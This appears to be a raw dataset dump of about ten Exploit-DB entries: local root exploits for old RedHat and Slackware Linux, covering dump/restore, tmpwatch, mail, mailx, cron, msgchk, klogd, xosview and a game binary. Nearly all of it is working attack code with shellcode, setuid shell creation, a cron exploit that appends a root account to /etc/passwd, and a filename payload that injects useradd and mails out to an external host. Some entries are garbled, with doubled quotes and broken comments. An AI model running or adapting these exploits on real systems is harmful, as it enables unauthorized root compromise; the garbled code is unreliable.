deardaniel/secdata-raw huggingface dataset:
Exploit-DB #184
Description: RedHat 6.2 Restore and Dump - Local Privilege Escalation
Type: local
Platform: linux
Date: 2000-11-16
Author: Tlabs

Exploit:
#!/usr/bin/perl

# perl exploit of restore and dump
# redhat linux 6.2
# written by tlabs
# Use at your discretion

$EXPORT1="TAPE=garbage:garbage" ;
$EXPORT2="RSH=./hey" ;

sub USAGE
{
  print "$0 <type>\n1=dump 2=dump.static 3=restore 4=restore.staic\nYour choice innit;)\nWritten by Tlabs\n" ;
  exit 0 ;
}

sub ERROR
{
  print "$_[0]\n" ;
  exit 0 ;
}

open(TEMP, ">shell.c")|| ERROR("Something went wrong:$!");
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP "    setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}" ;
close(TEMP);
system "cc -o shell shell.c" ;
unlink "shell.c" ;
open(TEMP1, ">hey")|| ERROR("Something went wrong: $!");
printf TEMP1 "#!/bin/sh\nchown root shell\nchmod 4755 shell" ;
close(TEMP1);
chmod(0755, "hey");

if ($ARGV[$0] eq "1")
{
  $DUMPER="/sbin/dump" ;
  if ( -u "$DUMPER" )
  {
    system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
   }
   else
   {
     unlink "hey" ;
     unlink "shell" ;
     printf "Dump is not exploitable on this system\n";
   }
}
elsif ($ARGV[$0] eq "2")
{
  $DUMPER="/sbin/dump.static" ;
  if ( -u "$DUMPER" )
  {
    system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Dump.static is not exploitable on this system\n";
  }
}
elsif ($ARGV[$0] eq "3")
{
  $RESTORER="/sbin/restore" ;
  if ( -u "$RESTORER" )
  {
    system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Restore is not exploitable on this system\n";
  }
}
elsif ($ARGV[$0] eq "4")
{
  $RESTORER="/sbin/restore.static" ;
  if ( -u "$RESTORER" )
  {
    system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Restore.static is not exploitable on this system\n";
  }
}
else
{
  USAGE ;
}


# milw0rm.com [2000-11-16]
Exploit-DB #20285
Description: RedHat 6.2/7.0 Tmpwatch - Arbitrary Command Execution
Type: local
Platform: linux
Date: 2000-10-06
Author: X-Force

Exploit:
// source: https://www.securityfocus.com/bid/1785/info

A vulnerability exists in tmpwatch, a utility which automates the removal of temporary files in unix-like systems. An optional component of tmpwatch, fuser, improperly handles arguments to system() library calls. If an attacker creates a file with a maliciously-constructed filename including shell meta characters, and -fuser is run on this file, the attacker may be able to execute arbitrary commands, potentially compromising superuser access if tmpwatch is run with root privileges.

#include <stdio.h>

int main()
{
   FILE *f;
   char filename[100] = ";useradd -u 0 -g 0 haks0r;mail 
haks0r@somehost.com<blablabla";

   if((f = fopen(filename, "a")) == 0) {
      perror("Could not create file");
      exit(1);
   }
   close(f);
}
Exploit-DB #22695
Description: RedHat 9.0 / Slackware 8.1 - '/bin/mail' Carbon Copy Field Buffer Overrun
Type: local
Platform: linux
Date: 2003-05-30
Author: mark@vulndev.org

Exploit:
source: https://www.securityfocus.com/bid/7760/info

A vulnerability has been discovered in the Linux /bin/mail utility. The problem occurs when processing excessive data within the carbon copy field. Due to insufficient bounds checking while parsing this information it may be possible to trigger a buffer overrun.

An attacker could exploit this issue to execute arbitrary commands. It should be noted that local exploitation may be inconsequential, however a malicious e-mail message or CGI interface could be a sufficient conduit for remote exploitation.

#!/usr/bin/perl
#
#
# Released under the GPL by a bored Vulndev member
# email: mark@vulndev.org
#
# The User 'cannot have expectations of privacy'. 
#
# For the Script to work you will need to:
# Run it, press 'return' once, then '.' then 'return'
#result = Shell (if you have /bin/ksh!)
#
# Anything you do with this script is your own problem,
# dont forget if you print it off, recycle!
# if you dont print it off, do so anyway 
# and use if for expensive toilet paper.
# 
# Systems Tested on: (Please let me know the outcome of your own box)
# Redhat 9.0 -- Vulnerable
# Redhat 9.0 with St Jude and St Michael -- Not Vulnerable
# Slackware 8.1 -- Vulnerable
# Slackware 9.0 -- Not Vulnerable
# Debian 3.0 (Testing) -- May be vulnerable.. needing comfirmation.
$shellcode = 
"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07".
"\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b".
"\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff".
"\xff\xff\x01\x2f\x62\x69\x6e\x2f\x6b\x73\x68\x01".
"";
$ret = 0xbffff714;
$buf = 8232;
$egg = 9000;
$nop = "\x90";
$offset = 0;
if (@ARGV == 1) 
{ 
$offset = $ARGV[0];
}
$addr = pack('l',($ret + $offset));
for ($i = 0; $i < $buf; $i += 4)
{
$buffer .= $addr;
}
for ($i = 0; $i < ($egg - length($shellcode) - 100); $i++) 
{
 $buffer .= $nop;
}
$buffer .= $shellcode;
exec("mail",'-s','Test','-c',$buffer,'root@localhost');
sendkeys("{CR}");
sendkeys(".");
Exploit-DB #19279
Description: RedHat Linux 2.1 - 'abuse.console' Local Privilege Escalation
Type: local
Platform: linux
Date: 1996-02-02
Author: David J Meltzer

Exploit:
source: https://www.securityfocus.com/bid/354/info

Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise. 

Exploit:

#!/bin/sh

#

# abuser.sh

# exploits a security hole in abuse to create

# a suid root shell /tmp/abuser on a linux

# Red Hat 2.1 system with the games package

# installed.

#

# by Dave M. (davem@cmu.edu)

#

echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system

echo ================ Checking system vulnerability

if test -u /usr/lib/games/abuse/abuse.console

then

echo ++++++++++++++++ System appears vulnerable.

cd /tmp

cat << _EOF_ > /tmp/undrv

#!/bin/sh

/bin/cp /bin/sh /tmp/abuser

/bin/chmod 4777 /tmp/abuser

_EOF_

chmod +x /tmp/undrv

PATH=/tmp

echo ================ Executing Abuse

/usr/lib/games/abuse/abuse.console

/bin/rm /tmp/undrv

if test -u /tmp/abuser

then

echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser

else

echo ---------------- Exploit failed

fi

else

echo ---------------- This machine does not appear to be vulnerable.

fi
Exploit-DB #19311
Description: RedHat Linux 4.2 / SGI IRIX 6.3 / Solaris 2.6 - 'mailx' (1)
Type: local
Platform: linux
Date: 1998-06-20
Author: Alvaro Martinez Echevarria

Exploit:
// source: https://www.securityfocus.com/bid/393/info

A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. 

/*
 * mailxploit.c (Linux/i386)
 * Sat Jun 20 00:47:59 CEST 1998
 * Alvaro Martinez Echevarria <elguru@lander.es>
 * Exploit a buffer overrun in mailx using the environment variable
 * $HOME, to acquire "mail" group privileges (assuming that mailx
 * is installed setgid mail).
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/*
 * The location of mailx.
 */
#define MAILX  "/usr/bin/mail"
/*
 * The gid for group mail (represented in a char, in hexadecimal).
 */
#define GID    "\x08"

#define DEFAULT_OFFSET                 2000
#define DEFAULT_BUFFER_SIZE            1124
#define NOP                            0x90

char shellcode[] =
  /* seteuid(GID); setreuid(GID,GID); */
  "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
  "\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
  /* generic shell code by Aleph One */
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long
get_sp(void) {
   __asm__("movl %esp,%eax");
}

int
main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  addr = get_sp() - offset;
  if ((buff=(char *)malloc(bsize))==NULL) {
    fprintf(stderr,"error in malloc()\n");
    exit(1);
  }

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;
  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
  buff[bsize - 1] = '\0';

  setenv("HOME",buff,1);
  execl(MAILX,MAILX,"-n","-f","~/patata",NULL);

  exit(0);

}
Exploit-DB #19312
Description: RedHat Linux 4.2 / SGI IRIX 6.3 / Solaris 2.6 - 'mailx' (2)
Type: local
Platform: linux
Date: 1998-06-25
Author: segv

Exploit:
// source: https://www.securityfocus.com/bid/393/info
 
A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail.

// this is nothing special, it allows you to read files that are
// readable by the group 'mail'.
// feedback: segv <dan@rtfm.net>

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void usage(char *prog);

void main(int argc, char *argv[])
{
        char buffer[1024];
        int fd, bytes;

        if(argc != 3)
                usage(argv[0]);

        if((strcmp(argv[1],"-c")))
                usage(argv[0]);
        else {
                if((fd=open(argv[2],O_RDONLY)) == -1) {
                        perror("open");
                        exit(1);
                }
                while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
                        write(1,buffer,bytes);

                close(fd);
        }
        exit(0);
}

void usage(char *prog)
{
        fprintf(stderr,"this program should be invoked by mailx\n");
        fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
        fprintf(stderr,"name of this program.\n");
        exit(1);
}
Exploit-DB #19469
Description: RedHat Linux 4.2/5.2/6.0 / S.u.S.E Linux 6.0/6.1 - Cron Buffer Overflow (1)
Type: local
Platform: linux
Date: 1999-08-30
Author: Akke

Exploit:
// source: https://www.securityfocus.com/bid/602/info

The version of Vixie cron that ships with RedHat versions 4.2, 5.2 and 6.0 is vulnerable to a local buffer overflow attack. By utilizing the MAILTO environment variable, a buffer can be overflown in the cron_popen() function, allowing an attacker to execute arbitrary code. Vixie cron daemon is installed setuid root by default, allowing for a local root compromise. Recent versions of Debian GNU/Linux have been confirmed to not be vulnerable to this attack. 

/*
	vixie-crontab-3.0.1 cron_popen() exploit by Akke - 30-8-99
			Akke <c4c4@hehe.com>
	

	how to compile ?
		gcc crontab_exploit.c -o crontab_exploit

	how to use ?
		./crontab_exploit
		crontab ./CrOn
		wait 1 minute
		crontab -r
		su -l cronexpl ([CREDENTIAL_REDACTED]) (this is root account)
		
	Greets to: bugtraq
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/tmp/ce";

#define max_buf_len 1000
#define CronFile         "CrOn"
#define RootScript       "/tmp/cron_root"
#define CronEchoScript   "/tmp/cron_echo"
#define chmod_bin        "/bin/chmod"

int main()
{
	char crontab_file_string[max_buf_len];
	char temp[max_buf_len];
	FILE *fp;
	int i;

	strcpy(temp, 
	"T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ "
	"T h i s _ i s _ a _ s i m p l e _ e x p l o i t _ w r i t t e n _ b y _ A K K E _ "
	"_ _ _ _ _ _ _ _ _ _ _ _ _ _ ");
	sprintf(temp,"%s%s",temp,shellcode);
	sprintf(crontab_file_string,"MAILTO=%s\n",temp);
	strcat(crontab_file_string,"0");
	for (i=1;i<60;i++) sprintf(crontab_file_string,"%s,%d",crontab_file_string,i);
	sprintf(temp," * * * * %s\n",CronEchoScript);
	strcat(crontab_file_string,temp);

	if ((fp = fopen(CronFile,"w+")) != NULL) {
		fprintf(fp,"%s",crontab_file_string);
		fclose(fp);	
	}
	
	if ((fp = fopen(CronEchoScript,"w+")) != NULL) {
		fprintf(fp,"#!/bin/sh\necho Wrong window!");
		fclose(fp);
		sprintf(temp,"%s 777 %s",chmod_bin,CronEchoScript);
		system(temp);
	}
	
	if ((fp = fopen(RootScript,"w+")) != NULL) {
		#define login "cronexpl"
		#define passw "1T8uqGnJZ0OsQ" /* "exploited" */
		fprintf(fp,"#!/bin/sh\necho %s:%s:0:0::/root:/bin/bash >> /etc/passwd\nrm %s %s %s",login,passw,CronEchoScript,"/tmp/ce",RootScript);
		fclose(fp);
		sprintf(temp,"%s 777 %s",chmod_bin,RootScript);
		system(temp);
	}

	if ((fp = fopen("/tmp/ce","w+")) != NULL) {
		fprintf(fp,"#!/bin/sh\n%s\n",RootScript);
		fclose(fp);
		sprintf(temp,"%s 777 %s",chmod_bin,"/tmp/ce");
		system(temp);
	}
	exit(0);
}
Exploit-DB #19305
Description: RedHat Linux 5.0 - 'msgchk' Local Privilege Escalation
Type: local
Platform: linux
Date: 1998-01-19
Author: Cesar Tascon Alvarez

Exploit:
// source: https://www.securityfocus.com/bid/383/info
// 
// Similar to the mh vulnerability, a buffer overflow exists in the version of msgchk shipped with RedHat Linux 5.0. The vulnerability allows a user to execute arbritrary commands as root to compromise superuser access.
// 
#include <stdlib.h>

#define DEFAULT_OFFSET                 0
#define DEFAULT_BUFFER_SIZE            1018
#define NOP                            0x90
char shellcode[] =

""\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""

""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""
        ""\x80\xe8\xdc\xff\xff\xff/bin/sh"";

unsigned long get_sp(void) {
   __asm__(""movl %esp,%eax"");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr;
char *args[5];
char jorge[]="""";
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf(""Can't allocate memory.\n"");
    exit(0);
  }

  addr = get_sp() - offset;
  printf(""Using address: 0x%x\n"", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4) {
    buff[i]=addr & 0xFF;
    buff[i+1]=(addr >> 8) & 0xFF;
    buff[i+2]=(addr >> 16) & 0xFF;
    buff[i+3]=(addr >> 24) & 0xFF;
  }

    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  args[0]=""/usr/bin/mh/msgchk"";
  args[1]=""-host"";
  args[2]=buff;
  args[3]=NULL;
  execve(args[0],args,NULL);

}
Exploit-DB #19314
Description: RedHat Linux 5.0/5.1/5.2 / Slackware Linux 3.5 - 'klogd' Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 1999-02-26
Author: Michal Zalewski

Exploit:
// source: https://www.securityfocus.com/bid/398/info


It is possible to cause a denial of service (remote and local) through generating old, obscure kernel messages (not terminated with \n) in klogd. The problem exists because of a buffer overflow in the klogd handling of kernel messages. It is possible to gain local root access through stuffing shellcode into printk() messages which contain user-controllable variables (eg, filenames). What makes this problem strange, however, is that it was fixed two years ago. Two of the most mainstream linux distributions (Slackware Linux and RedHat Linux), up until recently, are known to have been shipping with the very old vulnerable version. Fixes and updates were released promptly. There is no data on other distributions.

The following "exploit" is a small module you can use to try and exploit the problem on your machine.

-- gcc -c -O3 test.c; insmod test; rmmod test --

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <asm/unistd.h>
#include <linux/version.h>
#include <asm/string.h>

int init_module(void) {
printk("INSERT_ABOUT_2000_BYTES_OF_JUNK_HERE\n");
return 0;
}

Klogd Exploit Using Envcheck by Esa Etelavuori <eetelavu@cc.hut.fi>
Release Date: 20000925
Exploit-DB #19315
Description: RedHat Linux 5.0/5.1/5.2 / Slackware Linux 3.5 - 'klogd' Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 1999-02-26
Author: Esa Etelavuori

Exploit:
// source: https://www.securityfocus.com/bid/398/info
 
 
It is possible to cause a denial of service (remote and local) through generating old, obscure kernel messages (not terminated with \n) in klogd. The problem exists because of a buffer overflow in the klogd handling of kernel messages. It is possible to gain local root access through stuffing shellcode into printk() messages which contain user-controllable variables (eg, filenames). What makes this problem strange, however, is that it was fixed two years ago. Two of the most mainstream linux distributions (Slackware Linux and RedHat Linux), up until recently, are known to have been shipping with the very old vulnerable version. Fixes and updates were released promptly. There is no data on other distributions.

/*
 * Linux/x86 klogd exploit using envcheck by
 * Esa Etelavuori (www.iki.fi/ee/) in 2k0912
 * Tested on Red Hat 6.2 / Celeron A & P2.
 * You need some skillz to use this.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RETADDR    0xbffffdab

int main(int ac, char **av)
{
    char sting[] = "./[<%2009xAAAABBB";
    /* Self-modifying code using 0x20 - 0x7e chars and execing /tmp/x.
     * May need tuning for correct %esp offset (%ebx) for modification
     * of last two bytes which are transformed into int 0x80. */
    char *venom = "LC_ALL="
        "T[fhBOfXf5B@f1ChjAX4APPZHf1Chfh/xh/tmpT[RSTYjOX4D2p";

    if (ac != 1 && ac != 2) {
        fprintf(stderr, "usage: %s [return address]\n", av[0]);
        exit(1);
    }

    if (ac == 2 && av[1][0] == '-') {
        printf("done\n");
        exit(0); 
    }
    else if (ac == 2 && av[1][0] == '+') {
        if (putenv(venom)) {
            perror("putenv");
            exit(1);
        }
        execl(av[0], av[0], "-", NULL);
    }
    else {
        *(unsigned long *)(&sting[strlen(sting) - 4 - 3])
            = ac == 1 ? RETADDR: strtoul(av[1], NULL, 0);
        if (symlink(av[0], sting)) {
            perror("symlink");
            exit(1);
        }
        execl(sting, sting, "+", NULL);
    }

    perror("execl");
    exit(1);
}
Exploit-DB #19281
Description: RedHat Linux 5.1 - xosview
Type: local
Platform: linux
Date: 1999-05-28
Author: Chris Evans

Exploit:
// source: https://www.securityfocus.com/bid/362/info


xosview is an X11 system monitoring application that ships with RedHat 5.1 installed setuid root. A buffer overflow vulnerability was found in Xrm.cc, the offending code listed below:

char userrfilename[1024];

strcpy(userrfilename, getenv("HOME"));

The userfilename can be overflowed and arbritrary code executed to gain root access locally. 

* xosview 1.5.1 buffer overrun exploit

* brought to you by Kossak (ldvg@rnl.ist.utl.pt)

*

* yep, this is a shameless rip from Aleph's tutorials, but it sure

* works... Lets keep those exploits coming!! :)

* Thanks to Chris Evans for posting the bug.

*/

/* NOTE!!! xosview needs an open X display for this to work, so remember

* to modify the source (line 62), with your ip.

* The offset and buffer size work with me fine, but you might need to

* change them.

*/

#include <stdlib.h>

#define DEFAULT_OFFSET 1150

#define DEFAULT_BUFFER_SIZE 3500

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("xosview exploit by Kossak\n");

printf("try changing the default values if you dont get root now.\n");

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

setenv("HOME", buff, 1);

system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */

}